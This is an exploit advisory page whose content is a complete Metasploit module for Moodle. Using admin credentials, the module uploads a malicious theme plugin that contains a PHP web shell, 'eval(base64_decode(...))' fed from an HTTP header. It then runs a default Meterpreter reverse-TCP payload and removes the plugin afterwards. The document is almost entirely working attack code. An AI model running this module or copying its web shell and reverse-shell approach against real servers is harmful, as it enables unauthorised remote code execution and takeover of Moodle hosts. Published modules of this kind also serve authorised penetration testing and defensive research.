Moodle Admin Shell Upload

2021.10.12
Credit: h00die
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::File include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Moodle def initialize(info = {}) super( update_info( info, 'Name' => 'Moodle Admin Shell Upload', 'Description' => %q{ This module will generate a plugin which can receive a malicious payload request and upload it to a server running Moodle provided valid admin credentials are used. Then the payload is sent for execution, and the plugin uninstalled. You must have an admin account to exploit this vulnerability. Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2 }, 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus 'h00die' # msf module cleanup and inclusion ], 'References' => [ ['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'], ['EDB', '46775'], ['CVE', '2019-11631'] # rejected, its a feature! ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], 'Privileged' => false, 'DisclosureDate' => '2019-04-28', 'DefaultTarget' => 0, 'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' }, 'Payload' => { 'BadChars' => "'", 'Space' => 6070 # apache default is 8196, but 35% overhead for base64 encoding }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] } ) ) register_options( [ OptString.new('USERNAME', [true, 'Admin username to authenticate with', 'admin']), OptString.new('PASSWORD', [false, 'Admin password to authenticate with', '']) ] ) end def create_addon_file # There are syntax errors in creating zip file. So the payload was sent as base64. plugin_file = Rex::Zip::Archive.new header = Rex::Text.rand_text_alpha_upper(4) plugin_name = Rex::Text.rand_text_alpha_lower(8) print_status("Creating plugin named: #{plugin_name} with poisoned header: #{header}") path = "#{plugin_name}/version.php" path2 = "#{plugin_name}/lang/en/theme_#{plugin_name}.php" # "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin. plugin_file.add_file(path, "<?php $plugin->version = #{Time.now.to_time.to_i}; $plugin->component = 'theme_#{plugin_name}';") plugin_file.add_file(path2, "<?php eval(base64_decode($_SERVER['HTTP_#{header}'])); ?>") # plugin_file.add_file(path2, "<?php #{payload.encoded}) ?>") return plugin_file.pack, header, plugin_name end def exec_code(plugin_name, header) # Base64 was encoded in "PHP". This process was sent as "HTTP headers". print_status('Triggering payload') send_request_cgi({ 'keep_cookies' => true, 'uri' => normalize_uri(target_uri.path, 'theme', plugin_name, 'lang', 'en', "theme_#{plugin_name}.php"), 'raw_headers' => "#{header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" }) end def check v = moodle_version return CheckCode::Detected('Unable to determine moodle version') if v.nil? # This is a feature, not a vuln, so we assume this to work on 3.0.0+ # assuming the plugin arch changed before that. # > 3.0, < 3.9 version = Rex::Version.new(v) if version > Rex::Version.new('3.0.0') return CheckCode::Appears("Exploitable Moodle version #{v} detected") end CheckCode::Safe("Non-exploitable Moodle version #{v} detected") end def exploit v = moodle_version fail_with(Failure::NoTarget, 'Unable to determine moodle version') if v.nil? version = Rex::Version.new(v) print_status("Authenticating as user: #{datastore['USERNAME']}") cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD']) fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty? cookies.each do |cookie| cookie_jar.add(cookie) end print_good("Authentication was successful with user: #{datastore['USERNAME']}") print_status('Creating addon file') addon_content, header, addon_name = create_addon_file print_status('Uploading addon') file_id, sesskey = upload_addon(addon_name, version, addon_content) fail_with(Failure::NoAccess, 'Unable to upload addon. Make sure you are able to upload plugins with current permissions') if file_id.nil? print_good('Upload Successful. Integrating addon') ret = plugin_integration(sesskey, file_id, addon_name) if ret.nil? fail_with(Failure::NoAccess, 'Install not successful') end exec_code(addon_name, header) print_status('Uninstalling plugin after 5 second delay so payload can change directories') sleep(5) remove_plugin("theme_#{addon_name}", version, sesskey) end def on_new_session(_) print_good('You will need to change directories on meterpreter to get full functionality. Try: cd /tmp') end end


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